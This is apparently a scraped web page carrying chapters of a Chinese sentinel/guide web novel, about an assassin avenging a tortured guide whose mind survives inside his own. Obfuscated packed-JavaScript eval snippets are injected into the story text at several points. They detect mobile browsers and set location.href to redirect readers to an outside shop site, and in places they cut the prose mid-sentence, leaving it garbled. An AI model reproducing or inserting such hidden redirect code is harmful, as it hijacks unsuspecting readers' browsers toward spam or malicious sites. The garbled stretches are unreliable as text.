一个念头忽然像一颗子弹打进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356922|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他大脑。 跑。 他想带白鸟逃跑。 这是完全陌生的想法,因为海克是已经失去了逃跑这个概念的人。服从,服从,直到死亡,这是从十岁那年就根植进他大脑的命令。 因此当他在基地中九死一生时,他没有想过跑,当他在战斗中濒死,被无数枪口瞄准时,他没有想过跑。他受到过拷问,他也曾差点死在别人的枪下,但一把武器时没有自我意志的,他不会逃跑。 可现在,一个已经失去逃跑概念的人,一个从没从自己命运中逃离的人,突然想要跑。 他想跑,带着白鸟逃出酒神节,逃出圣卢塞特。他可以带他穿过嘈杂的人群,躲过权贵的追捕,抢一辆汽车穿过国界线,踏上白鸟梦想中的旅途。跑吧,直到两个人都风尘仆仆,直到他们的双腿再也没有力气站立——直到他们真的奔跑到那片冰原之上,那片极光之下,直到那只信鸽可以在任何地方翱翔。 海克拉住白鸟的手腕。他很用力,像是直接抓住了白鸟的灵魂。 他说:“白鸟,我们走吧。” “……去哪?”白鸟回过神来,又似乎还游离在其他地方。 “走,离开这里,去看极光。”海克说。他有些紧张起来,他担心白鸟会再度失神,于是捧住他的脸颊,认真地看着他的眼睛: “我可以带你走。这里的哨兵,我可以把他们都杀掉,你知道我做得到。然后,我们就从这里走。” “……”白鸟仰着头看着他,海克发誓自己亲眼看着他蓝色的眼睛明亮了起来。杀手绝不相信极地的太阳的风暴会比白鸟眼中的光彩更加璀璨,可那光彩转瞬就逝去了。 白鸟抬起手,覆住他的满是茧和疤痕的手,然后轻轻拉了下来。 “不行的,海克。”他闭上眼,轻轻摇了摇头,“如果你走了,谁来保护你的妹妹呢?” “你一直在替她还学贷。如果你带走了我,酒神节的人会查到她的。” 海克的身体僵住了,他感到不知所措。卢娜……他只是想帮她,他绝不能让酒神节的人盯上她,可白鸟…… 白鸟微笑了一下,疲惫又温柔。 “别忘了你是为了什么才来圣卢塞特的,别忘了你雨林里的阳光……我……虽然这么说有点不太好意思,但我是因为感受到你对家人的情感,才能坚持到现在的。算我求你,不要为了我去冒险。” “更何况,我早就已经——” 早就已经什么?海克有种不好的预感,他以目光询问。 “……不,没什么。”白鸟说。他怀着内疚,悄悄放大了海克脑内犹豫的情绪,覆盖掉他的疑问和冲动,然后放开了海克的手。 “他们要把我带走休眠了,你也该走了……再见,海克。” 早就已经什么? 海克想,但因为白鸟施加的影响,对卢娜的担忧占据了他绝大部分的思考。他走在回家的街上。所谓的家只是一个公寓,他生活极简,几乎没有留下居住的痕迹。 早就已经什么? 海克脑子里突然冒出来这个念头,但又被他忽视了。冷静下来后,他想起了之前组织通过交换目标和其他人的DNA来伪造身份的做法,于是他忽然有了不牵连卢娜,又救走白鸟的办法。 早就已经什么? 海克没有去细想,因为有陌生的情感回荡在他胸腔。他在第二天接到了通知,贩卖向导的商人会在今天到酒神节来,所有看守都要来酒神节,而他的雇主伦滋,今天也会再到俱乐部来。 这时机几乎正中海克下怀,他正要想找办法告诉白鸟,自己想到了两全其美的计划。等他拜托卢娜处理好他的身份,他就来带走白鸟。 如果他像普通人那样正常地成长,他会知道,这样的情感,混合着紧张,兴奋,焦急,以及满满当当的希望。 但是—— 早就已经什么? 酒神节的包厢里,一个意识不清的向导被扔到了两个哨兵面前。 “他快死了,你们拿去玩吧。” 一个男人这么说。 33. 第三十二章 哨兵呆住了。 男人——伦滋——转身走了。他要去挑选新的向导,继续他的向导之旅。 瓦夫.埃蒙——海克的同事看守——他发出粗俗的笑声,走向向导。 时间依然在推进着一切向前,只有海克.雷德还愣在原地。 他起初没有认出那是谁。 他只看见倒在地上的向导有一头落雪一样的,白色的头发。 但这个人是谁?海克想,他能在百米之外看清狙击枪口的眼睛忽然模糊起来。 他不应该认识这个人的,他见过无数死法各异的尸体,但他从来没见过这样的人。 这个人皮肤苍白,身体枯瘦,被冷汗粘湿的头发紧贴着他的脸颊。他白得几乎要接近透明了,可身上又遍布着深深浅浅的伤痕。淤青,烫伤,破开的皮肉和刺眼的针孔,它们像是从他皮肤底下长出来的生物,随时都会顶破他体表这层薄膜。 他赤身露体地蜷缩着,已经失去意识了,但身体还在条件反射地发抖。 白鸟呢?海克的视线避开这具怪诞又破碎的身体,大脑下意识地思考着。白鸟是一个温柔的,健康的普通人,他穿着简单的宽松白T和牛仔裤,就像再常见不过的旅客。虽然最近看起来很疲惫,但他身上没有伤痕。 海克还得赶紧找到他。他都已经想到逃出去的办法了。 然后他突然意识到,自己只见过精神图景里的白鸟。 那个白色的,明净的,有蓝眼睛的漂亮青年,其实从没有真正和他见过面。 潜意识似乎比他更快反应过来,他感到全身所有的感官都集中到了地上的人身上,就像蛛网被一只蝴蝶牵动。 不……怎么可能。 海克否认着。他想把自己的感官屏蔽掉。可他的五感实在是太过强大,它们无情地把信息钉入哨兵的大脑。 他确实认识这具身体,即使对方的轮廓已经因为过度的瘦削而变化,即使他看不清他的脸,但昏迷是下意识的动作——在精神图景里,他亲眼目睹了向导以相同的姿势蜷缩在崩塌房间里。 海克那时去抱起了他,但此时他寸步难行。他的感官传递过来的信息残忍地,振聋发聩地,响彻他的耳畔。 ——这具身体已经活不下去了。 他杀了很多人,他太熟悉濒死之人的身体。他感知过无数次那种微弱而不规律的心跳,那种几乎将要停滞的血流和渐渐冷却的体温。而这具身体的状况是最糟糕的那种,他的器官都已经衰竭病变,紊乱的神经让他没有力气,肩膀却时不时抽搐。 哨兵感到稳定下来的精神图景忽然地动山摇,而酒神节的走廊似乎也开始崩塌。 只是看着这个连脸都看不见的身影,海克就感觉自己快要疯了。 然而毫无察觉的瓦夫.埃蒙笑嘻嘻地走上前去,抓住那向导的头发,把他拉了起来。 天堂一样的酒神节第三层里,海克看见了一双不能闭合的,已经失神的蓝色眼睛。 然后他的大脑只剩下一片空白。 那一秒,酒神节里的共感者都突然感觉到了寒意。 所有人都感到了威胁,所有人都感到了胆寒,一种剧烈但阴冷的愤怒刺入他们的脊背,定格在了将他们骨骼拧断的前一瞬间。 杀意,到处都是漫溢的杀意——地下一层酒吧嘈杂的舞池里,所有人忽然都停止了动作,地下二层的赌场里,评级低于A级的共感者们突然面带惊恐地下跪,一动不动。 地下三层的哨兵们全部下意识进入备战状态,而地下四层里,拉奥孔的实验室,一个少女和一个S级的哨兵抬头看向上方。 唯一没有反应的人是瓦夫.埃蒙,他一无所知地,满心想着向导之旅。 在他身后,海克.雷德隐藏了自己的气息,漆黑的眼睛像是一片死去的宇宙。杀人对他来说就是本能,一只森蚺悄无声息地出现,只需要一眨眼的瞬息,就能碾碎瓦夫全身的骨头。 “海克,别。” 一个很轻很轻的声音直接在他脑子里响起。 雨林里,一个白色的身影如同鬼魂一样站在海克身后。 失去理智的海克僵在了原地,他茫然地向后看去,但那里又什么也没有。 “请原谅我,我不能在你的精神图景里现身了。”他大脑里的声音说,“我现在已经没办法维持自己原先的样子了。我只希望你记住我健全时的模样,拜托了。” 倒在地上的向导那已经失去视力的蓝眼睛空洞地盯着地面,脸上的表情却非常温柔。 “然后走吧。走吧,海克。别在酒神节里动手。你和你的妹妹会有危险的。你们都才开始新的生活,你还帮她还清了学贷……你们还有很长的未来,不是吗?” “不……”海克呢喃着,他甚至都不知道自己在试图否定什么。他不想跑,却也忽然止住了攻击——他的思考全都静止了,他只觉得白鸟的声音让他想要落泪。 “没关系的……我早就已经快死了。” 白鸟听上去像是在叹息,又像是在微笑,他用一如既往的,温柔的声音补全了海克最想逃避的残酷现实:向导之旅对向导的摧残太大了,他从很久以前开始,就已经没有希望活着离开了。 对此,他却只有一个请求: “海克,你一路走来已经很辛苦了……不要为了我这个将死的人,放弃你来之不易的未来。” “不,我不能……!”海克坚持道,他怎么可能就这么放弃。他趋动森蚺向瓦夫袭去。 可白鸟在这时用最后的力量,调动自己的共感力。 阳光和白色的羽毛,最后一次降临在了海克的亚马逊雨林—— 真正强大的共感者都知道,向导其实是很可怕的存在。他们能探知和改变他人的情绪,而情绪是支撑一个人行为的关键。 对不起。白鸟想。 他强行熄灭了海克的愤怒。 然后,他知道,海克会逃离这里。 因为海克.雷德是一个善良的人,他不忍看见给自己的雨林带来生机的人已经变成这幅凄惨的模样,他不愿意接受白鸟注定的结局。 而白鸟了解他。他的情感又冰封太久,就像一个孩子,不知如何面对自己的悲伤和苦痛。等愤怒褪去后,他大脑里的第二反应,其实是逃避。 那就快逃吧。白鸟想。他之所以在精神图景里从海克身后呼唤他,也是在给他下达暗示。 向你身后的那个方向,向我不在的那个方向逃吧。逃离这个我已经濒死的残酷现实,逃离你面前这具惨不忍睹的身体。请相信我给你的错觉——我还在你身后,我还没有离开。 这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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巷子里,一个白色的身影如同鬼魂一样站在海克身后。 失去理智的海克僵在了原地,他茫然地向后看去—— 白发蓝眼睛的青年就在昏暗的巷口,他健康,完整,发丝雪白得刺目。 “抱歉啊,我现在没办法扶你起来。”白鸟像是没注意到海克的震惊那样,不好意思地面露歉意,“因为我的身体似乎确实已经死掉了。” “但也许是因为我和你的精神图景联系紧密……我的精神,似乎转移进你的精神图景里了。我刚刚失去了一阵意识,醒来之后,就发现自己跟在你身边了——咦,海克,你怎么了?” 白鸟惊讶地看着海克。 杀手的眼睛睁得很大,就这么怔怔地看着他。一滴泪水从他早已干涸的黑瞳里淌出,像是死而复生的魂灵的第一声啼哭。 “啊……啊啊……”杀手发出几个沙哑的音节,但白鸟已经足够了解他,他知道他想说什么。 ——你竟然真的还在我身边。 “是啊。”于是白鸟说,他已经成为海克精神的一部分,他们的对话,只有他们彼此能听见。 “从现在起,一直都在了。” 34. 第三十三章 “告诉我在圣卢塞特的经历之后,他给了我一只耳朵。” 卢娜.雷德说,对于哥哥带来的伴手礼,她没散发出一点惊慌。 “那个给酒神节供货的哨兵,被我杀掉了。我把他切开了,扔进河里,只有头部完全破坏掉,这样,他们就看不出死的人是谁。” 海克.雷德将那塑料袋里血淋淋的人体结构递给妹妹,跟她解释了通过交换DNA数据伪造自己死亡的办法。 “我能为白鸟做的,只有帮他复仇。但我不能牵扯到你,所以,请你帮我伪造我的死亡。这样我要做的一切,都和你没有关系了。” 可如果警局要调查你的“死”呢? 卢娜想到这个问题,却没问出口。相反的,她自己都觉得自己有些可笑。 她离家已经二十年的哥哥披散着凌乱的黑发,绝望又有些小心翼翼地看着她。他带着遍布精神和身体的创伤,背负着组织和塔强加给他的命运和听力的残疾,脑子里住着一个死人的灵魂。 如果一开始有人在乎他的“失踪”,他还会是现在这个样子吗? 如果有人在乎白鸟和酒神节里向导们的生命,他还会是现在这个样子吗? 而这里是圣卢塞特,奥西恩最为繁华也最为混乱的都市。她在这里的医院里实习很久,又工作一年,早已意识到这个地方根本只有一片混沌,只有愈演愈烈的疯狂。 怎么会有人在乎海克.雷德的“死”呢? 想到这里,没什么表情的医生嘲讽地牵了牵嘴角。没想到这害得她哥哥变成这副模样的漠不关心,有一天也能被拿来利用。 结果她这一冷笑,却让海克.雷德紧张了起来。他对情感的理解和小孩差不多,误解了妹妹的表情,又些局促地把那只人耳藏到了身后: “如果你不愿意,没关系。我会想别的办法,我会消失。你可以好好地,做医生。” 这让卢娜想起她哥小时候怕惹自己生气的样子。她挑了挑眉,对海克勾勾手: “耳朵给我。” 她哥又局促地把人耳递回来,被她接过,打量了一下。 “有点脏,我得先处理一下。” 病理科的医生说着,从椅子上站起来,走向处理标本的器械,忙碌起来。 “好了。”她背对着哥哥,摆了摆手,“你可以走了。” 她的声音冷清,手上清洗样本的动作也没停,可背过身的瞬间,她还是难受了起来。上帝啊,她明明早就已经学会隐藏自己的感情了,就连向导也无法窥探她的内心,可现在她眼前还是模糊了。 她还有很多想问海克的,也还有很多想告诉海克的。这些年你怎么样了?我和你记忆中的是不是变了很多?你知道爸爸妈妈养了一只小狗吗?二十年了,她甚至还没来得及给他一个拥抱。 可是海克不能和她扯上关系,多待一秒都是风险——他们必须马上分开。 卢娜.雷德,她不怕自己被牵扯进哥哥的事情,她只是担心自己会暴露哥哥来过这里的事实,拖累了哥哥的计划。 海克.雷德说,意识到白鸟还在自己精神图景之后,神游症的症状突然从他身体里消失了,他的雨林也恢复了正常。 要不是白鸟的存在,他早该变成被神游症支配的疯子了。 他的生命本就毫无意义,他也一直不认为自己有资格再出现在家人面前。但现在他有了一个活着的目标。 这是一把武器自十岁之后产生的,第二个来自自己的想法—— 他要杀死那些欺辱过白鸟的人,然后带着精神图景里的白鸟一起活下去。 卢娜能理解他。她无论如何也不希望辜负哥哥的愿望,她知道那就是支撑着他不崩溃的信念,尽管…… “卢娜。” 沙哑的声音从身后传来,语气却很温柔。 “谢谢你,妹妹。再见了。别告诉爸妈我还活着。” “叮。” 手里的器具掉进水槽里,卢娜.雷德紧绷着身体,轻轻颤抖,像是被这句话击破了所有屏障。她情不自禁地开口:“你真的这么决定了吗?可白鸟他……” “啊,他在这里。”海克说,他看向自己身边,似乎轻轻地笑了,“他说,你和我长得很像。” “……他说得倒没错。”卢娜闭上了眼睛,笑了一下,却同时感到眼泪正顺着脸颊滑下。她知道哥哥选择的是一条九死一生的道路,但当他提起白鸟时,这个受尽磨难的男人的声音,确实是真的平静了下来。 她咽下本想说的话,改口道: “再见了,哥哥。” “这就是我们二十年来唯一一次见面。”奎因河畔的冷风吹过,面无表情的卢娜心中沸腾着难以言喻的悲伤,和尼尔森之前感受到过的一模一样。 “莱蒂斯警员,这就是他的故事。但我知道没有人会相信,也没有人会在乎,酒神节,伦滋.赫夫迈,还有那个组织,他们都不会受到任何惩罚。你继续查下去与否,其实都没有意义。” “我的哥哥,他变弱了,不只是因为他受了伤。” “因为我,因为白鸟,他变了很多。他得活下去,这成了他最大的弱点。我想他之所以刺杀失败,也是因为这个吧。” 一向言简意赅的医生一口气说了很多,然后叹了口气。 “我只是……希望有人能记住他的事情。” “我会的。”她身边绿眼睛的少女说,然后那张没什么表情的脸上突然浮现出活泼的笑容。 “哎呀,真是谢谢你跟我说这么多!”她换上了一种充满活力语调,像是忽然变了个人。 “……” 卢娜表情一凛,感到冷汗渗出皮肤。在她做出任何反应之前,一个从阴影里突然浮现的男人击中她的后脑,瞬间让她失去了意识。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356924|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嗯,真是个感人的故事。” 皇家格兰戈医院里,尼尔森摸着自己的假胡子说道,他的精神屏障一直维持在高水准。莱蒂斯听完了海克.雷德的事情,表情严肃,而他面前的卢娜.雷德也一脸正色。 他现在终于明白卢娜的悲伤来源于何处,但他只是事不关己地评价:“虽然你不是共感者,但作为医生,你应该知道吧,你哥他说的——” “我知道,闭嘴。”黑眼睛的医生冷冷地打断了他,“你们想知道的,我都告诉你们了。现在轮到你们回答我了。” “那个买下白鸟的伦滋,我哥哥的目标——你们说查到他那家伙参与向导之旅的证据?” “嗯哼。”尼尔森点头。 “也许这可以帮到哥哥……你们有把这件事告诉其他人吗?酒神节的人随时都会查到你们,如果只有你们有备份,那就太不安全了。” “说了这么多,原来你是想问这个。”尼尔森笑笑,“很谨慎,但这方面我这个私家侦探很专业,就不需要你操心啦。” 他眯起金色的眼睛,对准备继续询问的卢娜竖起一根手指:“啊,稍等一下,其实我们这边还有一个问题。” 像是和他有默契一般,面无表情的莱蒂斯看向卢娜,开口道: “请问,真正的卢娜.雷德小姐,现在在哪里呢?” 她手腕一翻,亮出了一直藏起来的手枪,直指着面前医生的眉心。 医生愣在原地,露出震惊的目光,几秒后,她发现莱蒂斯依然没有动摇的意思。 “哎呀!” 卢娜.雷德冷清的脸上突然绽放出一个活泼轻快的笑。这表情变化如此之快,好像有什么东西撕破了一层表皮那样惊悚。 “被发现啦?什么时候的事情?”‘卢娜’用一种少女的姿势捧住脸,“人家哪里没做好吗?人家可是原原本本把这医生告诉人家的事情又告诉了你们一遍,还模拟出了她说话时的情感——这都没有取得你们信任吗?” “取得信任?你还是去报个班再来吧。别以为用了认知偏差就万无一失了,演戏可要演全套啊。”尼尔森摸着脸上的假胡子笑道。 “你看,遇上向我这种喜欢看戏的人,一进门就发现不对了——我上次和卢娜见面时穿着打扮不同,脸也和现在不一样。真正的卢娜看见我,应该会以为我是陌生人。结果你一点疑问都没有,还直接把海克的秘密对一个陌生人全盘托出了。” “要不是想听听你准备跟我们说些什么,我们也早该动手了。” “真讨厌,好吧,下次人家会注意的。”‘卢娜’被枪指着,却毫不惊慌,她转向莱蒂斯,“那你呢?护卫小姐,你们都没交流吧,你是怎么发现我的呢?” “……你身上酒神节的味道连消毒水都盖不住。”莱蒂斯冷声道,“不要顶着卢娜小姐的脸。把你真正的脸露出来,酒神节的家伙。” 35. 第三十四章 大约一个半小时前,酒神节的哨兵队长接到了一个电话。 电话是酒神节前台转接过来的,上面显示的来电人是伦滋。一看这名字,他脑壳就疼了起来。 “又是因为那个女护卫的破事?”哨兵队长骂骂咧咧,他和这事儿逼小少爷的交集仅限于此。他本来是想卖这家伙一个人情,但之前帮忙通报女护卫的消息后,这少爷一点表示也没有,让他大失所望。 “啊,我他妈真是服了。” 哨兵队长翻个白眼,接通电话,直接开喷:“喂,喂!伦滋小少爷,我知道你没工作过,但我还是得提醒你一下,我他妈还有正经活儿要干!你之前要我留意那个女护卫本来就是我工作之外的事情!你他妈又不给我工资,我他妈也不是你爹,没空操心你这些事情!” “哦,先生,确实如您所说。”电话里传来了一个陌生的声音,低沉,有礼,带着一种让人心生亲切的语调,“我致电于您的理由,的确是与此事有关。请您放心,我会支付您应有的酬劳。” 不,等等。然后哨兵队长突然意识到,这个声音好像并不是陌生的。 他听觉灵敏,因此百分之百确定它曾经在他生活中出现过——在一些离他很远的地方,在手机里,在电视上,在商业街大屏幕上轮播的宣传里。 操。 哨兵队长警铃大作。 “我替犬子先前给您添的麻烦向您道歉。” 哈瑞.赫夫迈,这个万众瞩目的议员竞选者彬彬有礼地说道。即使并没有与哨兵队长面对面,他的脸上也依然带着讨人喜欢的微笑。 在他旁边,伦滋.赫夫迈脸色惨白。 经过了莱蒂斯的恐吓、爆炸和刺杀,这个嚣张跋扈的少爷已经吓傻了。 死里逃生之后,他躲进自己的豪车里,呆滞地缩在座位上。 救命,救命……他的脑子里只有这句话,除此之外一片空白。他的两个哨兵保镖都死掉了,他也差点死掉了,到了这会儿,什么被踢出家门的担忧早就烟消云散,他太害怕了,他本能地想要求助。 于是他抖着手,拨通了他爸的电话,哭天喊地大喊道父亲救命有人要杀我啊啊啊,然后把自己做的事情全盘托出了。 想象中的暴怒没有降临,沉默几秒后,他爸问了他几个问题。 “伦滋,刺杀你的人,你看清他相貌了吗?” “我我我,我不知道!我不知道他……不……我应该知道他的,但我现在什么都记不起来了……”小少爷努力回忆,但一旦想起那个人的身影,他就会本能地恐惧。他的视线如同先前差点被杀时一样,模糊一片。 “没关系,我们可以去查看餐厅的监控。”哈瑞.赫夫迈温和地说,“你可以肯定,最近甚嚣尘上的哨兵连环碎尸案,与你在酒神节卖下的向导有关吗?” “我,我……嗯!我肯定,我肯定……天呐,是不是白鸟那个婊子的鬼魂杀了那两个看守,然后来找我了……我留了他一口气,他死之前玩他的是瓦夫啊!为什么要找我!” 伦滋语无伦次,他根本没有推理的能力。他没那个本事想出为什么有人要杀他,直接把一切归咎于了玄学,却也无意间说出了他从没想过要说的细节。 他的父亲若有所思。 “瓦夫,是吗……可你说白鸟有两个看守,另一个呢?” “我不知道!我,我怎么会知道!我去挑新向导了……这还是瓦夫跟我说的,他说海克○萎,面对向导还能直接走人!” “但这个海克,已经死了对吗?” “是啊!他也死了!他第一个死的!然后瓦夫也死了,他们都死了。天呐,我不想死,我不想死……” “噢,你真的吓坏了,伦滋。没关系,我已经派人去接你了,你已经安全了。”哈瑞.赫夫迈声音沉着地安慰道,“你有酒神节联系的方式吗?” “我,我有!我马上把电话给你!”伦滋开始划拉手机,手依然抖得像是触电了,根本发不出去。他划着划着,眨了下眼睛,眼泪忽然就掉了下来。 “怎么发不出来,妈的,妈的!我怎么看不清,啊……对不起,对不起!” 他终于崩溃了,大声哭道:“父亲,我错了!我不该瞒着你的!别处罚我,别停我的信用卡,别把我赶出去!我想回家,我不敢留在外面了!” “怎么会呢,伦滋。”他爸用让人安定的语气说着,“号码不用发了,先回来吧。我在家等你。你已经告诉我足够多了,这件事我会解决的。” 几乎同时地,哈瑞.赫夫迈调来的保镖已经到达了伦滋身边。他们将吓坏了的少爷转移进防弹汽车里,递上饮料毛毯安置在座位后排,将他送到了父亲身边。 就这么一会儿,他的父亲已经联系了警察局长奥夫,找餐厅要到了监控,拿到他手机后,又迅速联系好了酒神节的哨兵队长。 他还拍了拍伦滋的肩膀,脸上并没有怒色。 但伦滋了解他的父亲,否则他也不会那么怕他。虽然哈瑞说了不会把他赶出家门沦落街头,但伦滋看着他好整以暇和别人交流的模样,依然感到芒刺在背。 很快,哈瑞的秘书将笔记本电脑放在了老板面前,启动了视频会议。 感谢现代科技,哈瑞不需要亲自去酒神节,也能和酒神节的人交流。 他西装革履,面带微笑坐在桌前,摄像头捕捉到的角度正好是最完美的。 背景里漂亮的办公室让这场关于谋杀,刺杀,绑架和非法娱乐的讨论严谨又优雅得像一场商业会议。 奥夫局长的脸色看起来不是很好。 酒神节的哨兵队长也在屏幕里,一脸不爽。即使是酒神节,面对一个赫夫迈直接找上门来的情况也不敢怠慢,他旁边的视频框里还有酒神节的值班负责人和总运营,甚至连负四层那两个家伙都被拉过来了。 他俩在一个屏幕里,那个叫里奇的严肃男人正襟危坐,那个烦人的女的探头探脑。 “诸位好,很高兴能与你们合作,共同讨论近期的连环谋杀案。” “感谢奥夫局长引荐,让我们有机会为圣卢塞特的治安做出贡献,感谢酒神节会所的工作人员,在同事和朋友遇难后与我们站在一起。 “也感谢我不幸但坚强的孩子,为这起让大家都深感不安的惨剧提供线索。” 他冠冕堂皇道,听上去简直像是在致辞。谁都知道他只是在用调查连环谋碎尸案当幌子,但这幌子实在是好用,完全能解释他们这群看起来八杆子打不着的人为什么会聚在一起。 除了尼尔森,多的是人明白做戏要做全套的道理。 他说:“我可怜的孩子受到了创伤,可能无法清楚地表达自己的意思,所以我会代替他与各位交流。根据他提供的线索,我有理由相信,连环杀人的凶手与今天澳比利克斯餐厅爆炸案的凶手是同一人。” 哈瑞用一种“我之前发的材料都已经看过了吧”的语气说:“诸位,澳比利克斯餐厅的监控里,这个人一直没有露过脸。” “即使有人撕下了他的伪装,并且和他战斗,他也一直在监控的死角,所以我们可以相信,他是一个经过专业训练的人。” 秘书适时地切进了一张图片,上面只有一个黑发男人的背影。 哈瑞说:“关于这个男人是谁,诸位有什么想法吗?” 哨兵队长直接当着他面翻了个白眼,这他妈谁看得出来,啥逼甲方。 “啊!”就在这时,酒神节那边,与整个会议格格不入的少女发出了一声兴奋的喊声。 显然,她并不是那种会提前看材料的人。 “哎呀!原来是他呀!”她高兴地说,“这不是那个海克.雷德吗?” 这一瞬间,视频会议室里的人思绪万千。知道海克就是连环杀人案第一死者的人心想这怎么可能,不知道的心想海克到底是哪位,哨兵队长只是觉得她好吵。 而哈瑞.赫夫迈没有管少女轻佻的态度,也并不惊讶,相反地,他似乎得到了一个满意的答案:“哦,这位小姐,您是如何认出他的身份的呢?” “嗯嗯,里奇,你还记得大概十天前,我们突然感觉到,又突然消失了的那个危险的哨兵吗?”她拉拉身边的男人。 “人家太好奇他是谁啦,就当时查了所有同一时段的监控,找到了在场哨兵的名单,不过没有线索更进一步了——这个海克.雷德,就是当时那个莫名其妙跑走了的看守!就是他就是他,你们可以调监控对比哦!” “你他妈扯淡吧?”哨兵队长也不管场合,口吐优雅语言。这女的提供了线索,接下来的活多半要落在他头上了,他实在搞不懂:“你有毛病啊?没事儿去查这个干什么?” “因为当时那个哨兵,他散发的感情实在是太独特啦!”少女捧起来,眼睛亮亮的,“愤怒,疯狂,无助,否定,绝望——我感知到过那么多绝望,像他那样沉重的,还是第一次呢!人家当然想知道他是谁啦!” 她突然从座位上站起,说道:“里奇,里奇,这个人就由我们来找吧,好不好?人家好想再感觉一次那种绝望呀!” 哈瑞.赫夫迈的秘书合上了笔记本电脑。 虽然那少女让会议变得像是一场闹剧,但一切都已经安排妥当了。 “伦滋,过来。”哈瑞.赫夫迈这时才对一直被晾在旁边的伦滋伸出手,“孩子,你肯定很害怕,让我抱抱你。” 伦滋难以抑制地发着抖,他的确很需要一个拥抱。他很怕他父亲,但作为孩子依赖亲人几乎是一种本能。他走到过去,拥抱了他的父亲。 “对不起……”他再次道歉,声音很小,但是很真诚,带着哭腔,“对不起,父亲。我一开始就应该告诉你的,我只是怕你会惩罚我……” 显然对他来说,将白鸟折磨致死并不是一件值得忏悔的事情。他此时如此痛哭,无非是因为自己差点被杀而后怕。 “我说过了,你担心的那些都不会发生。你只需要休息就好,”哈瑞.赫夫迈拍拍他的背,然后放开了自己的孩子。 他的表情依然温和得无懈可击。 然后他看着自己感动不已的儿子,对自己的秘书说:“伦滋他受到了惊吓,需要休养和照顾。所以现在,去联系精神疗养院吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她在威胁,但莱蒂斯不为所动,她的枪口没有一丝颤抖:“卢娜小姐现在在哪里?” “人家不能说哦,不过放心啦,她还活着。要是死了她可就没用了。毕竟我们的目标是她哥哥——找人实在是太麻烦啦,有了她,海克就会直接来找我们了呀!” “嘭。” 一颗子弹冲着她膝盖射去,少女摔倒在地,尖叫起来。 莱蒂斯冷声道:“我问的是,卢娜小姐现在在哪。” “啊啊啊——哎呀,好凶。”尖叫的少女消失了,她还好好站在原地——她一直在维持着认知偏差,莱蒂斯其实打偏了。 “别这样啦,你们也打不中人家啊。” 酒神节的气味在消毒水里混杂着,护卫无法精准地找到她的位置。 “……少废话。” 莱蒂斯没有放下枪,但心里升起愤怒和挫败的情绪。她很着急,很担心卢娜和海克的安危,但眼前的一切都有可能是认知偏差导致的幻觉。她没处理过这种事,少女的挑衅让她更加难以平静。 “嗯……你知道吗,认知偏差这种能力,其实和建模差不多。”就在这时,尼尔森突然说,“它的本质是向导在目标的大脑里模拟出错误的认知替代现实,这对向导们的负担也很大。” “一般来说,向导的能做到的主要是两种:一种是大范围引发简单的认知偏差——例如让所有人的认知向左偏移了五十厘米,或者只让对少数的人产生复杂的认知偏差——例如把自己的模样和声音都变成别人的。” 他向前一步,站在莱蒂斯身后,伸出手握住了莱蒂斯拿枪的右手,然后向少女的右方移动了枪口。 莱蒂斯有些惊讶,而少女游刃有余的表情突然僵住了。 “我嘛,我这个人之前学了三年建模。”他面不改色地胡扯,“你的认知偏差还太粗糙了,破绽百出。不只是气味没藏住,光线,头发,你所站位置的周围环境,都一塌糊涂啊——” 随着他的陈述,他能感觉到莱蒂斯的情绪平稳下来。不仅如此,她还同步注意到了少女认知偏差的破绽,她甚至将枪口压低了一寸——这是她自己的瞄准判断,不得不说,比尼尔森三脚猫的射击水平准多了。 一种灵魂的共鸣随着他们的同步而振动。侦探和莱蒂斯一起握着枪支,眯起金色的眼睛,笑起来: “好啦,快回答我这位小姑娘的问题吧。无论你接下来再怎么用你的能力,她都不可能再打偏了。” “唔嗯嗯……真过分,怎么还带现学现卖的!不过,你们也不能看不起人家嘛!”那少女露出怒容,奇怪的是,尼尔森并没有从她身上感觉到任何情感波动。 因此,少女再次绽放的笑容,并不在他的意料之中。 “就像你说的,认知偏差有很多种。人家根本就不擅长现在这个啦!” “人家最擅长的,其实是把东西藏起来哦。” 她一拍双手,又摊开,一只手掌大的假眼蝶从她掌心飞出。伴随着她的精神动物煽动翅膀,另一个男人出现在她身后。 里奇,被尼尔森判断为s级哨兵的男人,正装备着半自动机械臂。 那百发百中的枪口,就正对着莱蒂斯的眉心。 在此之前,无论是莱蒂斯还是尼尔森,都没有发现他的存在。 36. 第三十五章 “还不放下枪吗?”两把对峙的枪之间,少女笑着歪歪头,“我们这边的枪肯定比你们更快哦?” “别顶着卢娜小姐的脸说话。”莱蒂斯的枪口一动不动,目光如同利齿般咬合在少女脖颈,少女能感觉到她尖锐的敌意。 